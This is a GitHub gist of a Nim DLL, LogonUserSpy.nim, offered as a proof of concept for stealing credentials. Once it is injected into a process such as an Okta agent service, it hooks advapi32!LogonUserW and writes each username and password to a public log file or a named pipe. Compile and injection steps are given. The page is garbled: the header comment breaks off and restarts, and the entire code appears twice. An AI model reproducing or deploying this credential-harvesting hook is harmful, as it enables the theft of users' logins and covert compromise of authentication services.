Last active
March 31, 2025 07:06
-
-
Save rotarydrone/645f77f7e778da75800d1cde4013da2f to your computer and use it in GitHub Desktop.
LogonUserSpy.nim - Hooking advapi32!LogonUserW to log credentials
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#[ | |
PoC for hooking advapi32!LogonUserW to log credentials | |
Patch and restore the function when called, original credit for 99% of the code is here: https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/Hook.nim | |
Log to a named pipe server (must be started/managed by separate listener), and/or log to a file | |
by default, just logs to C:\users\public\log.txt | |
Compile: | |
nim c -d=mingw --app=lib -d:release --nomain LogonUserSpy.nim | |
Use:#[ | |
PoC for hooking advapi32!LogonUserW to log credentials | |
Patch and restore the function when called, original credit for 99% of the code is here: https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/Hook.nim | |
Log to a named pipe server (must be started/managed by separate listener), and/or log to a file | |
Compile: | |
nim c -d=mingw --app=lib -d:release --nomain LogonUserSpy.nim | |
Use: | |
(If named pipe): Start named pipe server/handler | |
Inject DLL into target process (e.g OktaAgentService) | |
]# | |
import winim | |
import std/strformat | |
type | |
typeLogonUserW* = proc (username: LPCWSTR, domain: LPCWSTR, password: LPCWSTR, logonType: DWORD, logonProvider: DWORD, hToken: PTR): bool {.stdcall.} | |
type | |
MyNtFlushInstructionCache* = proc (processHandle: HANDLE, baseAddress: PVOID, numberofBytestoFlush: ULONG): NTSTATUS {.stdcall.} | |
type | |
HookedFunction* {.bycopy.} = object | |
origFunction*: typeLogonUserW | |
functionStub*: array[16, BYTE] | |
HookTrampolineBuffers* {.bycopy.} = object | |
originalBytes*: HANDLE ## (Input) Buffer containing bytes that should be restored while unhooking. | |
originalBytesSize*: DWORD ## (Output) Buffer that will receive bytes present prior to trampoline installation/restoring. | |
previousBytes*: HANDLE | |
previousBytesSize*: DWORD | |
var ntdlldll = LoadLibraryA("ntdll.dll") | |
if (ntdlldll == 0): | |
echo "[X] Failed to load ntdll.dll" | |
var ntFlushInstructionCacheAddress = GetProcAddress(ntdlldll,"NtFlushInstructionCache") | |
if isNil(ntFlushInstructionCacheAddress): | |
echo "[X] Failed to get the address of 'NtFlushInstructionCache'" | |
var ntFlushInstructionCache*: MyNtFlushInstructionCache | |
ntFlushInstructionCache = cast[MyNtFlushInstructionCache](ntFlushInstructionCacheAddress) | |
proc fastTrampoline*(installHook: bool, addressToHook: LPVOID, jumpAddress: LPVOID, buffers: ptr HookTrampolineBuffers = nil): bool | |
proc restoreHook() : void | |
var gHookedFunction*: HookedFunction | |
var LogonUserWddress*: HANDLE | |
var pipe*: HANDLE | |
var LogonUserW*: typeLogonUserW | |
proc connectNamedPipe(): HANDLE = | |
var pipe: HANDLE = CreateFile( | |
r"\\.\pipe\oktaspy", | |
GENERIC_READ or GENERIC_WRITE, | |
FILE_SHARE_READ or FILE_SHARE_WRITE, | |
NULL, | |
OPEN_EXISTING, | |
FILE_ATTRIBUTE_NORMAL, | |
0 | |
) | |
return pipe | |
proc logCredentialsPipe(username: LPCWSTR, password: LPCWSTR, logonResult: bool): void = | |
var logonResultstr = "[-] FAILED: " | |
if logonResult > 0: | |
logonResultstr = "[+] SUCCESS: " | |
var data: cstring = fmt"{logonResultstr} {username}:{password}" | |
var bytesWritten: DWORD | |
WriteFile( | |
pipe, | |
data, | |
(DWORD) data.len, | |
addr bytesWritten, | |
NULL | |
) | |
proc logCredentialsFile(username: LPCWSTR, password: LPCWSTR, logonResult: bool): void = | |
var logonResultstr = "INVALID" | |
if logonResult > 0: | |
logonResultstr = "VALID" | |
let f = open("C:\\users\\public\\log.txt", fmAppend) | |
defer: f.close() | |
f.writeLine(fmt"{logonResultstr}|{username}|{password}") | |
proc myLogonUserW(username: LPCWSTR, domain: LPCWSTR, password: LPCWSTR, logonType: DWORD, logonProvider: DWORD, hToken: PTR): bool = | |
restoreHook() | |
var logonResult: BOOL = LogonUserW(username, domain, password, logonType, logonProvider, hToken) | |
if(fastTrampoline(true, cast[LPVOID](LogonUserWddress), cast[LPVOID](myLogonUserW), nil)): | |
echo "[+] Re-Hooked 'LogonUserW'" | |
else: | |
echo "[-] Failed to re-hook 'LogonUserW'" | |
#logCredentialsPipe(username, password, logonResult) | |
logCredentialsFile(username, password, logonResult) | |
return logonResult | |
proc restoreHook() : void = | |
var buffers: HookTrampolineBuffers | |
buffers.originalBytes = cast[HANDLE](addr gHookedFunction.functionStub[0]) | |
buffers.originalBytesSize = DWORD(sizeof(gHookedFunction.functionStub)) | |
if(fastTrampoline(false, cast[LPVOID](LogonUserWddress), cast[LPVOID](myLogonUserW), &buffers)): | |
echo "[+] Restored 'LogonUserW'" | |
else: | |
echo "[-] Failed to restore 'LogonUserW'" | |
proc fastTrampoline(installHook: bool; addressToHook: LPVOID; jumpAddress: LPVOID; | |
buffers: ptr HookTrampolineBuffers): bool = | |
var trampoline: seq[byte] | |
if defined(amd64): | |
trampoline = @[ | |
byte(0x49), byte(0xBA), byte(0x00), byte(0x00), byte(0x00), byte(0x00), byte(0x00), byte(0x00), # mov r10, addr | |
byte(0x00),byte(0x00),byte(0x41), byte(0xFF),byte(0xE2) # jmp r10 | |
] | |
var tempjumpaddr: uint64 = cast[uint64](jumpAddress) | |
copyMem(&trampoline[2] , &tempjumpaddr, 6) | |
elif defined(i386): | |
trampoline = @[ | |
byte(0xB8), byte(0x00), byte(0x00), byte(0x00), byte(0x00), # mov eax, addr | |
byte(0x00),byte(0x00),byte(0xFF), byte(0xE0) # jmp eax | |
] | |
var tempjumpaddr: uint32 = cast[uint32](jumpAddress) | |
copyMem(&trampoline[1] , &tempjumpaddr, 3) | |
var dwSize: DWORD = DWORD(len(trampoline)) | |
var dwOldProtect: DWORD = 0 | |
var output: bool = false | |
if (installHook): | |
if (buffers != nil): | |
if ((buffers.previousBytes == 0) or buffers.previousBytesSize == 0): | |
echo "[-] Previous Bytes == 0" | |
return false | |
copyMem(unsafeAddr buffers.previousBytes, addressToHook, buffers.previousBytesSize) | |
if (VirtualProtect(addressToHook, dwSize, PAGE_EXECUTE_READWRITE, &dwOldProtect)): | |
copyMem(addressToHook, addr trampoline[0], dwSize) | |
output = true | |
else: | |
if (buffers != nil): | |
if ((buffers.originalBytes == 0) or buffers.originalBytesSize == 0): | |
echo "[-] Original Bytes == 0" | |
return false | |
dwSize = buffers.originalBytesSize | |
if (VirtualProtect(addressToHook, dwSize, PAGE_EXECUTE_READWRITE, &dwOldProtect)): | |
copyMem(addressToHook, cast[LPVOID](buffers.originalBytes), dwSize) | |
output = true | |
var status = ntFlushInstructionCache(GetCurrentProcess(), addressToHook, dwSize) | |
if (status == 0): | |
echo "[+] NtFlushInstructionCache success" | |
else: | |
echo "[-] NtFlushInstructionCache failed: ", toHex(status) | |
VirtualProtect(addressToHook, dwSize, dwOldProtect, &dwOldProtect) | |
return output | |
proc hookFunction(funcname: string, dllName: LPCSTR, hookFunction: LPVOID): bool = | |
var addressToHook: LPVOID = cast[LPVOID](GetProcAddress(GetModuleHandleA(dllName), funcname)) | |
LogonUserWddress = cast[HANDLE](addressToHook) | |
var buffers: HookTrampolineBuffers | |
var output: bool = false | |
if (addressToHook == nil): | |
return false | |
buffers.previousBytes = cast[HANDLE](addressToHook) | |
buffers.previousBytesSize = DWORD(sizeof(addressToHook)) | |
gHookedFunction.origFunction = cast[typeLogonUserW](addressToHook) | |
var pointerToOrigBytes: LPVOID = addr gHookedFunction.functionStub | |
copyMem(pointerToOrigBytes, addressToHook, 16) | |
output = fastTrampoline(true, cast[LPVOID](addressToHook), hookFunction, &buffers) | |
return output | |
proc installHooks(): bool = | |
#pipe = connectNamedPipe() | |
echo "[*] Loading advapi32.dll" | |
var advapi32dll = LoadLibraryA("advapi32.dll") | |
if (advapi32dll == 0): | |
echo "[-] Failed to load advapi32.dll" | |
return false | |
echo "[*] Getting the address of 'LogonUserW'" | |
LogonUserWddress = cast[HANDLE](GetProcAddress(advapi32dll,"LogonUserW")) | |
if (LogonUserWddress == 0): | |
echo "[X] Failed to get the address of 'LogonUserW'" | |
return false | |
LogonUserW = cast[typeLogonUserW](LogonUserWddress) | |
echo "[*] Hooking 'LogonUserW'" | |
if (hookFunction("LogonUserW", "advapi32.dll", cast[LPVOID](myLogonUserW))): | |
echo "[+] Hooked 'LogonUserW'" | |
else: | |
echo "[-] Failed to hook 'LogonUserW'" | |
return false | |
return true | |
proc NimMain() {.cdecl, importc.} | |
proc DllMain(hinstDLL: HINSTANCE, fdwReason: DWORD, lpvReserved: LPVOID) : BOOL {.stdcall, exportc, dynlib.} = | |
NimMain() | |
if fdwReason == DLL_PROCESS_ATTACH: | |
discard installHooks() | |
return true | |
(If named pipe): Start named pipe server/handler | |
Inject DLL into target process (e.g OktaAgentService) | |
]# | |
import winim | |
import std/strformat | |
type | |
typeLogonUserW* = proc (username: LPCWSTR, domain: LPCWSTR, password: LPCWSTR, logonType: DWORD, logonProvider: DWORD, hToken: PTR): bool {.stdcall.} | |
type | |
MyNtFlushInstructionCache* = proc (processHandle: HANDLE, baseAddress: PVOID, numberofBytestoFlush: ULONG): NTSTATUS {.stdcall.} | |
type | |
HookedFunction* {.bycopy.} = object | |
origFunction*: typeLogonUserW | |
functionStub*: array[16, BYTE] | |
HookTrampolineBuffers* {.bycopy.} = object | |
originalBytes*: HANDLE ## (Input) Buffer containing bytes that should be restored while unhooking. | |
originalBytesSize*: DWORD ## (Output) Buffer that will receive bytes present prior to trampoline installation/restoring. | |
previousBytes*: HANDLE | |
previousBytesSize*: DWORD | |
var ntdlldll = LoadLibraryA("ntdll.dll") | |
if (ntdlldll == 0): | |
echo "[X] Failed to load ntdll.dll" | |
var ntFlushInstructionCacheAddress = GetProcAddress(ntdlldll,"NtFlushInstructionCache") | |
if isNil(ntFlushInstructionCacheAddress): | |
echo "[X] Failed to get the address of 'NtFlushInstructionCache'" | |
var ntFlushInstructionCache*: MyNtFlushInstructionCache | |
ntFlushInstructionCache = cast[MyNtFlushInstructionCache](ntFlushInstructionCacheAddress) | |
proc fastTrampoline*(installHook: bool, addressToHook: LPVOID, jumpAddress: LPVOID, buffers: ptr HookTrampolineBuffers = nil): bool | |
proc restoreHook() : void | |
var gHookedFunction*: HookedFunction | |
var LogonUserWddress*: HANDLE | |
var pipe*: HANDLE | |
var LogonUserW*: typeLogonUserW | |
proc connectNamedPipe(): HANDLE = | |
var pipe: HANDLE = CreateFile( | |
r"\\.\pipe\oktaspy", | |
GENERIC_READ or GENERIC_WRITE, | |
FILE_SHARE_READ or FILE_SHARE_WRITE, | |
NULL, | |
OPEN_EXISTING, | |
FILE_ATTRIBUTE_NORMAL, | |
0 | |
) | |
return pipe | |
proc logCredentialsPipe(username: LPCWSTR, password: LPCWSTR, logonResult: bool): void = | |
var logonResultstr = "[-] FAILED: " | |
if logonResult > 0: | |
logonResultstr = "[+] SUCCESS: " | |
var data: cstring = fmt"{logonResultstr} {username}:{password}" | |
var bytesWritten: DWORD | |
WriteFile( | |
pipe, | |
data, | |
(DWORD) data.len, | |
addr bytesWritten, | |
NULL | |
) | |
proc logCredentialsFile(username: LPCWSTR, password: LPCWSTR, logonResult: bool): void = | |
var logonResultstr = "INVALID" | |
if logonResult > 0: | |
logonResultstr = "VALID" | |
let f = open("C:\\users\\public\\log.txt", fmAppend) | |
defer: f.close() | |
f.writeLine(fmt"{logonResultstr}|{username}|{password}") | |
proc myLogonUserW(username: LPCWSTR, domain: LPCWSTR, password: LPCWSTR, logonType: DWORD, logonProvider: DWORD, hToken: PTR): bool = | |
restoreHook() | |
var logonResult: BOOL = LogonUserW(username, domain, password, logonType, logonProvider, hToken) | |
if(fastTrampoline(true, cast[LPVOID](LogonUserWddress), cast[LPVOID](myLogonUserW), nil)): | |
echo "[+] Re-Hooked 'LogonUserW'" | |
else: | |
echo "[-] Failed to re-hook 'LogonUserW'" | |
#logCredentialsPipe(username, password, logonResult) | |
logCredentialsFile(username, password, logonResult) | |
return logonResult | |
proc restoreHook() : void = | |
var buffers: HookTrampolineBuffers | |
buffers.originalBytes = cast[HANDLE](addr gHookedFunction.functionStub[0]) | |
buffers.originalBytesSize = DWORD(sizeof(gHookedFunction.functionStub)) | |
if(fastTrampoline(false, cast[LPVOID](LogonUserWddress), cast[LPVOID](myLogonUserW), &buffers)): | |
echo "[+] Restored 'LogonUserW'" | |
else: | |
echo "[-] Failed to restore 'LogonUserW'" | |
proc fastTrampoline(installHook: bool; addressToHook: LPVOID; jumpAddress: LPVOID; | |
buffers: ptr HookTrampolineBuffers): bool = | |
var trampoline: seq[byte] | |
if defined(amd64): | |
trampoline = @[ | |
byte(0x49), byte(0xBA), byte(0x00), byte(0x00), byte(0x00), byte(0x00), byte(0x00), byte(0x00), # mov r10, addr | |
byte(0x00),byte(0x00),byte(0x41), byte(0xFF),byte(0xE2) # jmp r10 | |
] | |
var tempjumpaddr: uint64 = cast[uint64](jumpAddress) | |
copyMem(&trampoline[2] , &tempjumpaddr, 6) | |
elif defined(i386): | |
trampoline = @[ | |
byte(0xB8), byte(0x00), byte(0x00), byte(0x00), byte(0x00), # mov eax, addr | |
byte(0x00),byte(0x00),byte(0xFF), byte(0xE0) # jmp eax | |
] | |
var tempjumpaddr: uint32 = cast[uint32](jumpAddress) | |
copyMem(&trampoline[1] , &tempjumpaddr, 3) | |
var dwSize: DWORD = DWORD(len(trampoline)) | |
var dwOldProtect: DWORD = 0 | |
var output: bool = false | |
if (installHook): | |
if (buffers != nil): | |
if ((buffers.previousBytes == 0) or buffers.previousBytesSize == 0): | |
echo "[-] Previous Bytes == 0" | |
return false | |
copyMem(unsafeAddr buffers.previousBytes, addressToHook, buffers.previousBytesSize) | |
if (VirtualProtect(addressToHook, dwSize, PAGE_EXECUTE_READWRITE, &dwOldProtect)): | |
copyMem(addressToHook, addr trampoline[0], dwSize) | |
output = true | |
else: | |
if (buffers != nil): | |
if ((buffers.originalBytes == 0) or buffers.originalBytesSize == 0): | |
echo "[-] Original Bytes == 0" | |
return false | |
dwSize = buffers.originalBytesSize | |
if (VirtualProtect(addressToHook, dwSize, PAGE_EXECUTE_READWRITE, &dwOldProtect)): | |
copyMem(addressToHook, cast[LPVOID](buffers.originalBytes), dwSize) | |
output = true | |
var status = ntFlushInstructionCache(GetCurrentProcess(), addressToHook, dwSize) | |
if (status == 0): | |
echo "[+] NtFlushInstructionCache success" | |
else: | |
echo "[-] NtFlushInstructionCache failed: ", toHex(status) | |
VirtualProtect(addressToHook, dwSize, dwOldProtect, &dwOldProtect) | |
return output | |
proc hookFunction(funcname: string, dllName: LPCSTR, hookFunction: LPVOID): bool = | |
var addressToHook: LPVOID = cast[LPVOID](GetProcAddress(GetModuleHandleA(dllName), funcname)) | |
LogonUserWddress = cast[HANDLE](addressToHook) | |
var buffers: HookTrampolineBuffers | |
var output: bool = false | |
if (addressToHook == nil): | |
return false | |
buffers.previousBytes = cast[HANDLE](addressToHook) | |
buffers.previousBytesSize = DWORD(sizeof(addressToHook)) | |
gHookedFunction.origFunction = cast[typeLogonUserW](addressToHook) | |
var pointerToOrigBytes: LPVOID = addr gHookedFunction.functionStub | |
copyMem(pointerToOrigBytes, addressToHook, 16) | |
output = fastTrampoline(true, cast[LPVOID](addressToHook), hookFunction, &buffers) | |
return output | |
proc installHooks(): bool = | |
#pipe = connectNamedPipe() | |
echo "[*] Loading advapi32.dll" | |
var advapi32dll = LoadLibraryA("advapi32.dll") | |
if (advapi32dll == 0): | |
echo "[-] Failed to load advapi32.dll" | |
return false | |
echo "[*] Getting the address of 'LogonUserW'" | |
LogonUserWddress = cast[HANDLE](GetProcAddress(advapi32dll,"LogonUserW")) | |
if (LogonUserWddress == 0): | |
echo "[X] Failed to get the address of 'LogonUserW'" | |
return false | |
LogonUserW = cast[typeLogonUserW](LogonUserWddress) | |
echo "[*] Hooking 'LogonUserW'" | |
if (hookFunction("LogonUserW", "advapi32.dll", cast[LPVOID](myLogonUserW))): | |
echo "[+] Hooked 'LogonUserW'" | |
else: | |
echo "[-] Failed to hook 'LogonUserW'" | |
return false | |
return true | |
proc NimMain() {.cdecl, importc.} | |
proc DllMain(hinstDLL: HINSTANCE, fdwReason: DWORD, lpvReserved: LPVOID) : BOOL {.stdcall, exportc, dynlib.} = | |
NimMain() | |
if fdwReason == DLL_PROCESS_ATTACH: | |
discard installHooks() | |
return true |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment